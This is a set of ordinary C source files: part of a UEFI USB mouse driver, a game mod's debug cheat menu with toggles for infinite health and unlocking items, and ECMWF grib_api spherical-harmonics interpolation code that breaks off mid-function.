USB_MOUSE_DEV *UsbMouseDevice;
UINT8 EndpointNumber;
UINT8 Index;
UINT8 EndpointAddr;
UINT8 PollingInterval;
UINT8 PacketSize;
UsbMouseDevice = NULL;
Status = EFI_SUCCESS;
Status = gBS->OpenProtocol (
Controller,
&gEfiUsbIoProtocolGuid,
&UsbIo,
This->DriverBindingHandle,
Controller,
EFI_OPEN_PROTOCOL_BY_DRIVER
);
if (EFI_ERROR (Status)) {
goto ErrorExit;
}
UsbMouseDevice = EfiLibAllocateZeroPool (sizeof (USB_MOUSE_DEV));
if (UsbMouseDevice == NULL) {
Status = EFI_OUT_OF_RESOURCES;
goto ErrorExit;
}
UsbMouseDevice->UsbIo = UsbIo;
UsbMouseDevice->Signature = USB_MOUSE_DEV_SIGNATURE;
UsbMouseDevice->InterfaceDescriptor = EfiLibAllocatePool (sizeof (EFI_USB_INTERFACE_DESCRIPTOR));
if (UsbMouseDevice->InterfaceDescriptor == NULL) {
Status = EFI_OUT_OF_RESOURCES;
goto ErrorExit;
}
EndpointDesc = EfiLibAllocatePool (sizeof (EFI_USB_ENDPOINT_DESCRIPTOR));
if (EndpointDesc == NULL) {
Status = EFI_OUT_OF_RESOURCES;
goto ErrorExit;
}
//
// Get the Device Path Protocol on Controller's handle
//
Status = gBS->OpenProtocol (
Controller,
&gEfiDevicePathProtocolGuid,
(VOID **) &UsbMouseDevice->DevicePath,
This->DriverBindingHandle,
Controller,
EFI_OPEN_PROTOCOL_GET_PROTOCOL
);
if (EFI_ERROR (Status)) {
goto ErrorExit;
}
//
// Get interface & endpoint descriptor
//
UsbIo->UsbGetInterfaceDescriptor (
UsbIo,
UsbMouseDevice->InterfaceDescriptor
);
EndpointNumber = UsbMouseDevice->InterfaceDescriptor->NumEndpoints;
for (Index = 0; Index < EndpointNumber; Index++) {
UsbIo->UsbGetEndpointDescriptor (
UsbIo,
Index,
EndpointDesc
);
if ((EndpointDesc->Attributes & 0x03) == 0x03) {
//
// We only care interrupt endpoint here
//
UsbMouseDevice->IntEndpointDescriptor = EndpointDesc;
}
}
if (UsbMouseDevice->IntEndpointDescriptor == NULL) {
//
// No interrupt endpoint, then error
//
Status = EFI_UNSUPPORTED;
goto ErrorExit;
}
Status = InitializeUsbMouseDevice (UsbMouseDevice);
if (EFI_ERROR (Status)) {
MouseReportStatusCode (
UsbMouseDevice->DevicePath,
EFI_ERROR_CODE | EFI_ERROR_MINOR,
(EFI_PERIPHERAL_MOUSE | EFI_P_EC_INTERFACE_ERROR)
);
goto ErrorExit;
}
UsbMouseDevice->SimplePointerProtocol.GetState = GetMouseState;
UsbMouseDevice->SimplePointerProtocol.Reset = UsbMouseReset;
UsbMouseDevice->SimplePointerProtocol.Mode = &UsbMouseDevice->Mode;
Status = gBS->CreateEvent (
EFI_EVENT_NOTIFY_WAIT,
EFI_TPL_NOTIFY,
UsbMouseWaitForInput,
UsbMouseDevice,
&((UsbMouseDevice->SimplePointerProtocol).WaitForInput)
);
if (EFI_ERROR (Status)) {
goto ErrorExit;
}
Status = gBS->InstallProtocolInterface (
&Controller,
&gEfiSimplePointerProtocolGuid,
EFI_NATIVE_INTERFACE,
&UsbMouseDevice->SimplePointerProtocol
);
if (EFI_ERROR (Status)) {
Status = EFI_DEVICE_ERROR;
goto ErrorExit;
}
//
// After Enabling Async Interrupt Transfer on this mouse Device
// we will be able to get key data from it. Thus this is deemed as
// the enable action of the mouse
//
MouseReportStatusCode (
UsbMouseDevice->DevicePath,
EFI_PROGRESS_CODE,
(EFI_PERIPHERAL_MOUSE | EFI_P_PC_ENABLE)
);
//
// submit async interrupt transfer
//
EndpointAddr = UsbMouseDevice->IntEndpointDescriptor->EndpointAddress;
PollingInterval = UsbMouseDevice->IntEndpointDescriptor->Interval;
PacketSize = (UINT8) (UsbMouseDevice->IntEndpointDescriptor->MaxPacketSize);
Status = UsbIo->UsbAsyncInterruptTransfer (
UsbIo,
EndpointAddr,
TRUE,
PollingInterval,
PacketSize,
OnMouseInterruptComplete,
UsbMouseDevice
);
if (!EFI_ERROR (Status)) {
UsbMouseDevice->ControllerNameTable = NULL;
EfiLibAddUnicodeString (
LANGUAGE_CODE_ENGLISH,
gUsbMouseComponentName.SupportedLanguages,
&UsbMouseDevice->ControllerNameTable,
L"Generic Usb Mouse"
);
return EFI_SUCCESS;
}
//
// If submit error, uninstall that interface
//
Status = EFI_DEVICE_ERROR;
gBS->UninstallProtocolInterface (
Controller,
&gEfiSimplePointerProtocolGuid,
&UsbMouseDevice->SimplePointerProtocol
);
ErrorExit:
if (EFI_ERROR (Status)) {
gBS->CloseProtocol (
Controller,
&gEfiUsbIoProtocolGuid,
This->DriverBindingHandle,
Controller
);
if (UsbMouseDevice != NULL) {
if (UsbMouseDevice->InterfaceDescriptor != NULL) {
gBS->FreePool (UsbMouseDevice->InterfaceDescriptor);
}
if (UsbMouseDevice->IntEndpointDescriptor != NULL) {
gBS->FreePool (UsbMouseDevice->IntEndpointDescriptor);
}
if ((UsbMouseDevice->SimplePointerProtocol).WaitForInput != NULL) {
gBS->CloseEvent ((UsbMouseDevice->SimplePointerProtocol).WaitForInput);
}
gBS->FreePool (UsbMouseDevice);
UsbMouseDevice = NULL;
}
}
return Status;
}
EFI_STATUS
EFIAPI
USBMouseDriverBindingStop (
IN EFI_DRIVER_BINDING_PROTOCOL *This,
IN EFI_HANDLE Controller,
IN UINTN NumberOfChildren,
IN EFI_HANDLE *ChildHandleBuffer
)
/*++
Routine Description:
Stop this driver on ControllerHandle. Support stoping any child handles
created by this driver.
Arguments:
This - Protocol instance pointer.
Controller - Handle of device to stop driver on
NumberOfChildren - Number of Children in the ChildHandleBuffer
ChildHandleBuffer - List of handles for the children we need to stop.
Returns:
EFI_SUCCESS
EFI_DEVICE_ERROR
others
--*/
{
EFI_STATUS Status;
USB_MOUSE_DEV *UsbMouseDevice;
EFI_SIMPLE_POINTER_PROTOCOL *SimplePointerProtocol;
EFI_USB_IO_PROTOCOL *UsbIo;
//
// Get our context back.
//
Status = gBS->OpenProtocol (
Controller,
&gEfiSimplePointerProtocolGuid,
&SimplePointerProtocol,
This->DriverBindingHandle,
Controller,
EFI_OPEN_PROTOCOL_GET_PROTOCOL
);
if (EFI_ERROR (Status)) {
return EFI_UNSUPPORTED;
}
UsbMouseDevice = USB_MOUSE_DEV_FROM_MOUSE_PROTOCOL (SimplePointerProtocol);
gBS->CloseProtocol (
Controller,
&gEfiSimplePointerProtocolGuid,
This->DriverBindingHandle,
Controller
);
UsbIo = UsbMouseDevice->UsbIo;
//
// Uninstall the Asyn Interrupt Transfer from this device
// will disable the mouse data input from this device
//
MouseReportStatusCode (
UsbMouseDevice->DevicePath,
EFI_PROGRESS_CODE,
(EFI_PERIPHERAL_MOUSE | EFI_P_PC_DISABLE)
);
//
// Delete Mouse Async Interrupt Transfer
//
UsbIo->UsbAsyncInterruptTransfer (
UsbIo,
UsbMouseDevice->IntEndpointDescriptor->EndpointAddress,
FALSE,
UsbMouseDevice->IntEndpointDescriptor->Interval,
0,
NULL,
NULL
);
gBS->CloseEvent (UsbMouseDevice->SimplePointerProtocol.WaitForInput);
if (UsbMouseDevice->DelayedRecoveryEvent) {
gBS->CloseEvent (UsbMouseDevice->DelayedRecoveryEvent);
UsbMouseDevice->DelayedRecoveryEvent = 0;
}
Status = gBS->UninstallProtocolInterface (
Controller,
&gEfiSimplePointerProtocolGuid,
&UsbMouseDevice->SimplePointerProtocol
);
if (EFI_ERROR (Status)) {
return Status;
}
gBS->CloseProtocol (
Controller,
&gEfiUsbIoProtocolGuid,
This->DriverBindingHandle,
Controller
);
gBS->FreePool (UsbMouseDevice->InterfaceDescriptor);
gBS->FreePool (UsbMouseDevice->IntEndpointDescriptor);
if (UsbMouseDevice->ControllerNameTable) {
EfiLibFreeUnicodeStringTable (UsbMouseDevice->ControllerNameTable);
}
gBS->FreePool (UsbMouseDevice);
return EFI_SUCCESS;
}
BOOLEAN
IsUsbMouse (
IN EFI_USB_IO_PROTOCOL *UsbIo
)
/*++
Routine Description:
Tell if a Usb Controller is a mouse
Arguments:
UsbIo - Protocol instance pointer.
Returns:
TRUE - It is a mouse
FALSE - It is not a mouse
--*/
{
EFI_STATUS Status;
EFI_USB_INTERFACE_DESCRIPTOR InterfaceDescriptor;
//
// Get the Default interface descriptor, now we only
// suppose it is interface 1
//
Status = UsbIo->UsbGetInterfaceDescriptor (
UsbIo,
&InterfaceDescriptor
);
if (EFI_ERROR (Status)) {
return FALSE;
}
if ((InterfaceDescriptor.InterfaceClass == CLASS_HID) &&
(InterfaceDescriptor.InterfaceSubClass == SUBCLASS_BOOT) &&
(InterfaceDescriptor.InterfaceProtocol == PROTOCOL_MOUSE)
) {
return TRUE;
}
return FALSE;
}
STATIC
EFI_STATUS
InitializeUsbMouseDevice (
IN USB_MOUSE_DEV *UsbMouseDev
)
/*++
Routine Description:
Initialize the Usb Mouse Device.
Arguments:
UsbMouseDev - Device instance to be initialized
Returns:
EFI_SUCCESS - Success
EFI_DEVICE_ERROR - Init error.
EFI_OUT_OF_RESOURCES- Can't allocate memory
--*/
{
EFI_USB_IO_PROTOCOL *UsbIo;
UINT8 Protocol;
EFI_STATUS Status;
EFI_USB_HID_DESCRIPTOR MouseHidDesc;
UINT8 *ReportDesc;
UsbIo = UsbMouseDev->UsbIo;
//
// Get HID descriptor
//
Status = UsbGetHidDescriptor (
UsbIo,
UsbMouseDev->InterfaceDescriptor->InterfaceNumber,
&MouseHidDesc
);
if (EFI_ERROR (Status)) {
return Status;
}
//
// Get Report descriptor
//
if (MouseHidDesc.HidClassDesc[0].DescriptorType != 0x22) {
return EFI_UNSUPPORTED;
}
ReportDesc = EfiLibAllocateZeroPool (MouseHidDesc.HidClassDesc[0].DescriptorLength);
if (ReportDesc == NULL) {
return EFI_OUT_OF_RESOURCES;
}
Status = UsbGetReportDescriptor (
UsbIo,
UsbMouseDev->InterfaceDescriptor->InterfaceNumber,
MouseHidDesc.HidClassDesc[0].DescriptorLength,
ReportDesc
);
if (EFI_ERROR (Status)) {
gBS->FreePool (ReportDesc);
return Status;
}
//
// Parse report descriptor
//
Status = ParseMouseReportDescriptor (
UsbMouseDev,
ReportDesc,
MouseHidDesc.HidClassDesc[0].DescriptorLength
);
if (EFI_ERROR (Status)) {
gBS->FreePool (ReportDesc);
return Status;
}
if (UsbMouseDev->NumberOfButtons >= 1) {
UsbMouseDev->Mode.LeftButton = TRUE;
}
if (UsbMouseDev->NumberOfButtons > 1) {
UsbMouseDev->Mode.RightButton = TRUE;
}
UsbMouseDev->Mode.ResolutionX = 8;
UsbMouseDev->Mode.ResolutionY = 8;
UsbMouseDev->Mode.ResolutionZ = 0;
//
// Here we just assume interface 0 is the mouse interface
//
UsbGetProtocolRequest (
UsbIo,
0,
&Protocol
);
if (Protocol != BOOT_PROTOCOL) {
Status = UsbSetProtocolRequest (
UsbIo,
0,
BOOT_PROTOCOL
);
if (EFI_ERROR (Status)) {
gBS->FreePool (ReportDesc);
return EFI_DEVICE_ERROR;
}
}
//
// Set indefinite Idle rate for USB Mouse
//
UsbSetIdleRequest (
UsbIo,
0,
0,
0
);
gBS->FreePool (ReportDesc);
if (UsbMouseDev->DelayedRecoveryEvent) {
gBS->CloseEvent (UsbMouseDev->DelayedRecoveryEvent);
UsbMouseDev->DelayedRecoveryEvent = 0;
}
Status = gBS->CreateEvent (
EFI_EVENT_TIMER | EFI_EVENT_NOTIFY_SIGNAL,
EFI_TPL_NOTIFY,
USBMouseRecoveryHandler,
UsbMouseDev,
&UsbMouseDev->DelayedRecoveryEvent
);
return EFI_SUCCESS;
}
STATIC
EFI_STATUS
EFIAPI
OnMouseInterruptComplete (
IN VOID *Data,
IN UINTN DataLength,
IN VOID *Context,
IN UINT32 Result
)
/*++
Routine Description:
It is called whenever there is data received from async interrupt
transfer.
Arguments:
Data - Data received.
DataLength - Length of Data
Context - Passed in context
Result - Async Interrupt Transfer result
Returns:
EFI_SUCCESS
EFI_DEVICE_ERROR
--*/
{
USB_MOUSE_DEV *UsbMouseDevice;
EFI_USB_IO_PROTOCOL *UsbIo;
UINT8 EndpointAddr;
UINT32 UsbResult;
UsbMouseDevice = (USB_MOUSE_DEV *) Context;
UsbIo = UsbMouseDevice->UsbIo;
if (Result != EFI_USB_NOERROR) {
//
// Some errors happen during the process
//
MouseReportStatusCode (
UsbMouseDevice->DevicePath,
EFI_ERROR_CODE | EFI_ERROR_MINOR,
(EFI_PERIPHERAL_MOUSE | EFI_P_EC_INPUT_ERROR)
);
if ((Result & EFI_USB_ERR_STALL) == EFI_USB_ERR_STALL) {
EndpointAddr = UsbMouseDevice->IntEndpointDescriptor->EndpointAddress;
UsbClearEndpointHalt (
UsbIo,
EndpointAddr,
&UsbResult
);
}
UsbIo->UsbAsyncInterruptTransfer (
UsbIo,
UsbMouseDevice->IntEndpointDescriptor->EndpointAddress,
FALSE,
0,
0,
NULL,
NULL
);
gBS->SetTimer (
UsbMouseDevice->DelayedRecoveryEvent,
TimerRelative,
EFI_USB_INTERRUPT_DELAY
);
return EFI_DEVICE_ERROR;
}
if (DataLength == 0 || Data == NULL) {
return EFI_SUCCESS;
}
UsbMouseDevice->StateChanged = TRUE;
//
// Check mouse Data
//
UsbMouseDevice->State.LeftButton = (BOOLEAN) (*(UINT8 *) Data & 0x01);
UsbMouseDevice->State.RightButton = (BOOLEAN) (*(UINT8 *) Data & 0x02);
UsbMouseDevice->State.RelativeMovementX += *((INT8 *) Data + 1);
UsbMouseDevice->State.RelativeMovementY += *((INT8 *) Data + 2);
if (DataLength > 3) {
UsbMouseDevice->State.RelativeMovementZ += *((INT8 *) Data + 3);
}
return EFI_SUCCESS;
}
/*
STATIC VOID
PrintMouseState(
IN EFI_MOUSE_STATE *MouseState
)
{
Aprint("(%x: %x, %x)\n",
MouseState->ButtonStates,
MouseState->dx,
MouseState->dy
);
}
*/
STATIC
EFI_STATUS
EFIAPI
GetMouseState (
IN EFI_SIMPLE_POINTER_PROTOCOL *This,
OUT EFI_SIMPLE_POINTER_STATE *MouseState
)
/*++
Routine Description:
Get the mouse state, see SIMPLE POINTER PROTOCOL.
Arguments:
This - Protocol instance pointer.
MouseState - Current mouse state
Returns:
EFI_SUCCESS
EFI_DEVICE_ERROR
EFI_NOT_READY
--*/
{
USB_MOUSE_DEV *MouseDev;
if (MouseState == NULL) {
return EFI_DEVICE_ERROR;
}
MouseDev = USB_MOUSE_DEV_FROM_MOUSE_PROTOCOL (This);
if (!MouseDev->StateChanged) {
return EFI_NOT_READY;
}
EfiCopyMem (
MouseState,
&MouseDev->State,
sizeof (EFI_SIMPLE_POINTER_STATE)
);
//
// Clear previous move state
//
MouseDev->State.RelativeMovementX = 0;
MouseDev->State.RelativeMovementY = 0;
MouseDev->State.RelativeMovementZ = 0;
MouseDev->StateChanged = FALSE;
return EFI_SUCCESS;
}
STATIC
EFI_STATUS
EFIAPI
UsbMouseReset (
IN EFI_SIMPLE_POINTER_PROTOCOL *This,
IN BOOLEAN ExtendedVerification
)
/*++
Routine Description:
Reset the mouse device, see SIMPLE POINTER PROTOCOL.
Arguments:
This - Protocol instance pointer.
ExtendedVerification - Ignored here/
Returns:
EFI_SUCCESS
--*/
{
USB_MOUSE_DEV *UsbMouseDevice;
EFI_USB_IO_PROTOCOL *UsbIo;
UsbMouseDevice = USB_MOUSE_DEV_FROM_MOUSE_PROTOCOL (This);
UsbIo = UsbMouseDevice->UsbIo;
MouseReportStatusCode (
UsbMouseDevice->DevicePath,
EFI_PROGRESS_CODE,
(EFI_PERIPHERAL_MOUSE | EFI_P_PC_RESET)
);
EfiZeroMem (
&UsbMouseDevice->State,
sizeof (EFI_SIMPLE_POINTER_STATE)
);
UsbMouseDevice->StateChanged = FALSE;
return EFI_SUCCESS;
}
STATIC
VOID
EFIAPI
UsbMouseWaitForInput (
IN EFI_EVENT Event,
IN VOID *Context
)
/*++
Routine Description:
Event notification function for SIMPLE_POINTER.WaitForInput event
Signal the event if there is input from mouse
Arguments:
Event - Wait Event
Context - Passed parameter to event handler
Returns:
VOID
--*/
{
USB_MOUSE_DEV *UsbMouseDev;
UsbMouseDev = (USB_MOUSE_DEV *) Context;
//
// Someone is waiting on the mouse event, if there's
// input from mouse, signal the event
//
if (UsbMouseDev->StateChanged) {
gBS->SignalEvent (Event);
}
}
VOID
EFIAPI
USBMouseRecoveryHandler (
IN EFI_EVENT Event,
IN VOID *Context
)
/*++
Routine Description:
Timer handler for Delayed Recovery timer.
Arguments:
Event - The Delayed Recovery event.
Context - Points to the USB_KB_DEV instance.
Returns:
--*/
{
USB_MOUSE_DEV *UsbMouseDev;
EFI_USB_IO_PROTOCOL *UsbIo;
UsbMouseDev = (USB_MOUSE_DEV *) Context;
UsbIo = UsbMouseDev->UsbIo;
UsbIo->UsbAsyncInterruptTransfer (
UsbIo,
UsbMouseDev->IntEndpointDescriptor->EndpointAddress,
TRUE,
UsbMouseDev->IntEndpointDescriptor->Interval,
UsbMouseDev->IntEndpointDescriptor->MaxPacketSize,
OnMouseInterruptComplete,
UsbMouseDev
);
}
VOID
MouseReportStatusCode (
IN EFI_DEVICE_PATH_PROTOCOL *DevicePath,
IN EFI_STATUS_CODE_TYPE CodeType,
IN EFI_STATUS_CODE_VALUE Value
)
/*++
Routine Description:
Report Status Code in Usb Bot Driver
Arguments:
DevicePath - Use this to get Device Path
CodeType - Status Code Type
CodeValue - Status Code Value
Returns:
None
--*/
{
ReportStatusCodeWithDevicePath (
CodeType,
Value,
0,
&gEfiUsbMouseDriverGuid,
DevicePath
);
}
|
273669.c | #include "main.h"
void menuDebugCheatHP_draw(const MenuItem *self, int x, int y, bool selected) {
char str[64];
sprintf(str, self->name, (debugCheats & DBGCHT_INF_HP) ? "On" : "Off");
gameTextShowStr(str, MENU_TEXTBOX_ID, x, y);
}
void menuDebugCheatHP_select(const MenuItem *self, int amount) {
debugCheats ^= DBGCHT_INF_HP;
audioPlaySound(NULL, MENU_ADJUST_SOUND);
}
void menuDebugCheatMP_draw(const MenuItem *self, int x, int y, bool selected) {
char str[64];
sprintf(str, self->name, (debugCheats & DBGCHT_INF_MP) ? "On" : "Off");
gameTextShowStr(str, MENU_TEXTBOX_ID, x, y);
}
void menuDebugCheatMP_select(const MenuItem *self, int amount) {
debugCheats ^= DBGCHT_INF_MP;
audioPlaySound(NULL, MENU_ADJUST_SOUND);
}
void menuDebugCheatMoney_draw(const MenuItem *self, int x, int y, bool selected) {
char str[64];
sprintf(str, self->name, (debugCheats & DBGCHT_INF_MONEY) ? "On" : "Off");
gameTextShowStr(str, MENU_TEXTBOX_ID, x, y);
}
void menuDebugCheatMoney_select(const MenuItem *self, int amount) {
debugCheats ^= DBGCHT_INF_MONEY;
audioPlaySound(NULL, MENU_ADJUST_SOUND);
}
void menuDebugCheatLives_draw(const MenuItem *self, int x, int y, bool selected) {
char str[64];
sprintf(str, self->name, (debugCheats & DBGCHT_INF_LIVES) ? "On" : "Off");
gameTextShowStr(str, MENU_TEXTBOX_ID, x, y);
}
void menuDebugCheatLives_select(const MenuItem *self, int amount) {
debugCheats ^= DBGCHT_INF_LIVES;
audioPlaySound(NULL, MENU_ADJUST_SOUND);
}
void menuDebugCheatFrozen_draw(const MenuItem *self, int x, int y, bool selected) {
char str[64];
sprintf(str, self->name, (debugCheats & DBGCHT_ENEMY_FROZEN) ? "On" : "Off");
gameTextShowStr(str, MENU_TEXTBOX_ID, x, y);
}
void menuDebugCheatFrozen_select(const MenuItem *self, int amount) {
debugCheats ^= DBGCHT_ENEMY_FROZEN;
audioPlaySound(NULL, MENU_ADJUST_SOUND);
}
void menuDebugCheatTricky_draw(const MenuItem *self, int x, int y, bool selected) {
char str[64];
sprintf(str, self->name, (debugCheats & DBGCHT_INF_TRICKY) ? "On" : "Off");
gameTextShowStr(str, MENU_TEXTBOX_ID, x, y);
}
void menuDebugCheatTricky_select(const MenuItem *self, int amount) {
debugCheats ^= DBGCHT_INF_TRICKY;
audioPlaySound(NULL, MENU_ADJUST_SOUND);
}
static u16 unlockAllBits[] = {
//GameBits which get set to max
0x0025, //HaveTrickysBall
0x002D, //HaveFireballSpell
0x0040, //HaveSharpClawDisguise
0x0075, //HaveStaff
0x00C1, //NumTrickyFoods
0x00DD, //HaveCallTricky
0x0107, //HaveGroundQuake
0x013D, //NumFireflies
0x013E, //HaveFireflyLantern
0x0245, //HaveTrickyFlame
0x03F5, //NumFuelCells
0x03F9, //WorldMapDarkIce
0x03FA, //WorldMapCloudFort
0x03FB, //WorldMapWallCity
0x03FC, //WorldMapDragRock
0x04E4, //CanUseTricky
0x059D, //HaveVolcanoMap
0x059E, //HaveDarkIceMap
0x05A0, //HaveSnowWastesMap
0x05A1, //HaveCloudFortMap
0x05A2, //HaveLightFootMap
0x05A3, //HaveHollowMap
0x05BD, //HaveOpenPortal
0x05CE, //HaveIceBlast
0x05D6, //NumFirefliesNotShown
0x066C, //NumBombSpores
0x07DD, //HaveDragRockMap
0x07E5, //HaveKrazoaMap
0x07E9, //HaveOceanMap
0x082E, //HaveWallCityMap
0x082F, //HaveCapeClawMap
0x0835, //HaveMoonPassMap
0x086A, //NumMoonSeeds
0x090D, //DidCollectMagic
0x090E, //DidCollectBigHealth
0x090F, //DidCollectApple
0x0912, //DidSeeWarpPad
0x0919, //Have50ScarabBag
0x091A, //Have100ScarabBag
0x091B, //Have200ScarabBag
0x0957, //HaveStaffBooster
0x0958, //HaveLaserSpell
0x0C55, //HaveSuperQuake
0x0C64, //HaveViewfinder
0x0CC0, //DidCollectBafomdad
0x0EB1, //HaveMagic
0x0EB2, //HaveBafomdadHolder
0xFFFF, //end
};
void menuDebugCheatUnlock_select(const MenuItem *self, int amount) {
if(amount) return;
for(int i=0; unlockAllBits[i] != 0xFFFF; i++) {
mainSetBits(unlockAllBits[i], 0xFFFFFFFF);
}
audioPlaySound(NULL, MENU_ADJUST_SOUND);
}
Menu menuDebugCheat = {
"チート", 0,
genericMenu_run, genericMenu_draw, debugSubMenu_close,
"HP無限: %s", menuDebugCheatHP_draw, menuDebugCheatHP_select,
"MP無限: %s", menuDebugCheatMP_draw, menuDebugCheatMP_select,
"お金無限: %s", menuDebugCheatMoney_draw, menuDebugCheatMoney_select,
"ライフ無限: %s", menuDebugCheatLives_draw, menuDebugCheatLives_select,
"トリッキーエナジー無限: %s", menuDebugCheatTricky_draw, menuDebugCheatTricky_select,
"敵フリーズ: %s", menuDebugCheatFrozen_draw, menuDebugCheatFrozen_select,
"すべてアンロック", genericMenuItem_draw, menuDebugCheatUnlock_select,
NULL,
};
|
452651.c | /*
* Copyright 2005-2017 ECMWF.
*
* This software is licensed under the terms of the Apache Licence Version 2.0
* which can be obtained at http://www.apache.org/licenses/LICENSE-2.0.
*
* In applying this licence, ECMWF does not waive the privileges and immunities granted to it by
* virtue of its status as an intergovernmental organisation nor does it submit to any jurisdiction.
*/
#include "grib_api_internal.h"
/*
This is used by make_class.pl
START_CLASS_DEF
CLASS = nearest
SUPER = grib_nearest_class_gen
IMPLEMENTS = init
IMPLEMENTS = find;destroy
MEMBERS = const char* J
MEMBERS = const char* K
MEMBERS = const char* M
END_CLASS_DEF
*/
/* START_CLASS_IMP */
/*
Don't edit anything between START_CLASS_IMP and END_CLASS_IMP
Instead edit values between START_CLASS_DEF and END_CLASS_DEF
or edit "nearest.class" and rerun ./make_class.pl
*/
static void init_class (grib_nearest_class*);
static int init (grib_nearest* nearest,grib_handle* h,grib_arguments* args);
static int find(grib_nearest* nearest, grib_handle* h,double inlat, double inlon, unsigned long flags, double* outlats,double* outlons, double *values,double *distances, int *indexes,size_t *len);
static int destroy (grib_nearest* nearest);
typedef struct grib_nearest_sh{
grib_nearest nearest;
/* Members defined in gen */
const char* values_key;
const char* radius;
int cargs;
/* Members defined in sh */
const char* J;
const char* K;
const char* M;
} grib_nearest_sh;
extern grib_nearest_class* grib_nearest_class_gen;
static grib_nearest_class _grib_nearest_class_sh = {
&grib_nearest_class_gen, /* super */
"sh", /* name */
sizeof(grib_nearest_sh), /* size of instance */
0, /* inited */
&init_class, /* init_class */
&init, /* constructor */
&destroy, /* destructor */
&find, /* find nearest */
};
grib_nearest_class* grib_nearest_class_sh = &_grib_nearest_class_sh;
static void init_class(grib_nearest_class* c)
{
}
/* END_CLASS_IMP */
#define LEGENDRE_SIZE(L) (L+1)*(L+2)/2
static void grib_trigs(int m,double lambda,double* c,double* s);
static int grib_invtrans_legendre(int L,double x, double* RI,double* TR,double* TI);
static double grib_invtrans_trig(int L,double* TR,double* TI,
double *c,double *s);
static int grib_invtrans(grib_context *c,int L,double latdeg,double londeg,double* values, double* result);
static int init(grib_nearest* nearest,grib_handle* h,grib_arguments* args)
{
grib_nearest_sh* self = (grib_nearest_sh*) nearest;
self->J = grib_arguments_get_name(h,args,self->cargs++);
self->K = grib_arguments_get_name(h,args,self->cargs++);
self->M = grib_arguments_get_name(h,args,self->cargs++);
return 0;
}
static int find(grib_nearest* nearest, grib_handle* h,
double inlat, double inlon,unsigned long flags,
double* outlats,double* outlons,
double *outvalues,double *distances,int* indexes, size_t *len)
{
grib_nearest_sh* self = (grib_nearest_sh*) nearest;
long J,K,M;
double *values;
int size,i,ret;
size_t vsize=0;
double val;
if( (ret = grib_get_long(h,self->J,&J))!= GRIB_SUCCESS)
return ret;
if( (ret = grib_get_long(h,self->K,&K))!= GRIB_SUCCESS)
return ret;
if( (ret = grib_get_long(h,self->M,&M))!= GRIB_SUCCESS)
return ret;
size=2*LEGENDRE_SIZE(J);
vsize=size;
values=(double*)grib_context_malloc_clear(h->context,sizeof(double)*size);
if (!values) {
grib_context_log(h->context,GRIB_LOG_ERROR,
"nearest_sh: unable to allocate %d bytes",
sizeof(double)*size);
return GRIB_OUT_OF_MEMORY;
}
if( (ret = grib_get_double_array(h,self->values_key,values,&vsize))
!= GRIB_SUCCESS)
return ret;
Assert(vsize==size);
ret=grib_invtrans(h->context,J,inlat,inlon,values, &val);
if (ret != GRIB_SUCCESS) return ret;
grib_context_free(h->context,values);
for (i=0;i<4;i++) {
outlats[i]=inlat;
outlons[i]=inlon;
outvalues[i]=val;
indexes[i]=-1;
}
return GRIB_SUCCESS;
}
static int destroy(grib_nearest* nearest)
{
return GRIB_SUCCESS;
}
static void grib_trigs(int m,double lambda,double* c,double* s)
{
int i;
double a,b;
b=sin(lambda);
a=1-2*sin(lambda/2.0)*sin(lambda/2.0);
c[0]=1.0; s[0]=0.0;
for (i=1;i<=m;i++) {
c[i]=a*c[i-1]-b*s[i-1];
s[i]=a*s[i-1]+b*c[i-1];
}
}
static double grib_invtrans_trig(int L,double* TR,double* TI,double *c,double *s)
{
double ret=0;
int m=0;
for (m=1;m<=L;m++) {
ret+= TR[m] * c[m];
printf("++ %d ++ %.20e %g %g\n",m,ret,TR[m],c[m]);
ret-= TI[m] * s[m];
printf("+- %d ++ %.20e %g %g\n",m,ret,TI[m],s[m]);
}
ret=2*ret+TR[0];
return ret;
}
static int grib_invtrans_legendre(int L,double x,
double* RI,double* TR,double* TI)
{
int l,m;
double y2;
double f,of,fx,p0;
double *pP,*oP,*pRI;
if (fabs(x) > 1.0) {
printf("grib_legendreP: invalid x=%g must be abs(x)>0\n",x);
return GRIB_INVALID_ARGUMENT;
}
if (L<0) {
printf("grib_legendreP: invalid L=%d must be >0\n",L);
return GRIB_INVALID_ARGUMENT;
}
pP=(double*)malloc(sizeof(double)*(L+1));
if (!pP) {
printf("unable to allocate %d bytes\n",(int)sizeof(double)*(L+1));
return GRIB_OUT_OF_MEMORY;
}
y2=(1.0-x*x); fx=1; p0=1; oP=pP; pRI=RI;
for (m=0;m<L;m++) {
/* printf("\n"); */
pP[0]=sqrt((2*m+1)*p0);
if (m & 1) pP[0]=-pP[0];
TR[m]=pP[0] * *(pRI++);
TI[m]=pP[0] * *(pRI++);
printf("-- (%d,%d) %.20e %.20e\n",m,m,TR[m],pP[0]);
of=sqrt(2*m+3);
pP[1]=x*of*pP[0];
TR[m]+=pP[1] * *(pRI++);
TI[m]+=pP[1] * *(pRI++);
printf("-- (%d,%d) %.20e %.20e\n",m+1,m,TR[m],pP[1]);
for (l=m+2;l<=L;l++) {
f=sqrt((4.0*l*l-1.0)/(l*l-m*m));
pP[2]=(x*pP[1]-pP[0]/of)*f;
TR[m]+=pP[2] * *(pRI++);
TI[m]+=pP[2] * *(pRI++);
printf("-- (%d,%d) %.20e %.20e\n",l,m,TR[m],pP[2]);
of=f;
pP++;
}
pP=oP;
p0*=y2*fx/(fx+1.0);
fx+=2;
}
/* printf("\n"); */
pP[0]=sqrt((2*L+1)*p0);
if (L & 1) pP[0]=-pP[0];
TR[L]=pP[0] * *(pRI++);
TI[L]=pP[0] * *(pRI++);
printf("-- (%d,%d) %.20e %.20e\n",L,L,TR[m],pP[0]);
return GRIB_SUCCESS;
}
static int grib_invtrans(grib_context* context, int L, double latdeg, double londeg, double* values,
double* result)
{
double *c,*s,*TR,*TI;
double sinlat,deg2rad,lonrad;
int Lp1=L+1;
int err = 0;
deg2rad=acos(0.0)/90.0;
sinlat=sin(latdeg*deg2rad);
lonrad=londeg*deg2rad;
c=(double*)grib_context_malloc_clear(context,sizeof(double)*Lp1);
if (!c) {
grib_context_log(context,GRIB_LOG_ERROR,
"nearest_sh: unable to allocate %d bytes",sizeof(double)*Lp1);
return GRIB_OUT_OF_MEMORY;
}
s=(double*)grib_context_malloc_clear(context,sizeof(double)*Lp1);
if (!s) {
grib_context_log(context,GRIB_LOG_ERROR,
"nearest_sh: unable to allocate %d bytes",sizeof(double)*Lp1);
return GRIB_OUT_OF_MEMORY;
}
grib_trigs(L,lonrad,c,s);
TR=(double*)grib_context_malloc_clear(context,sizeof(double)*Lp1);
if (!TR) {
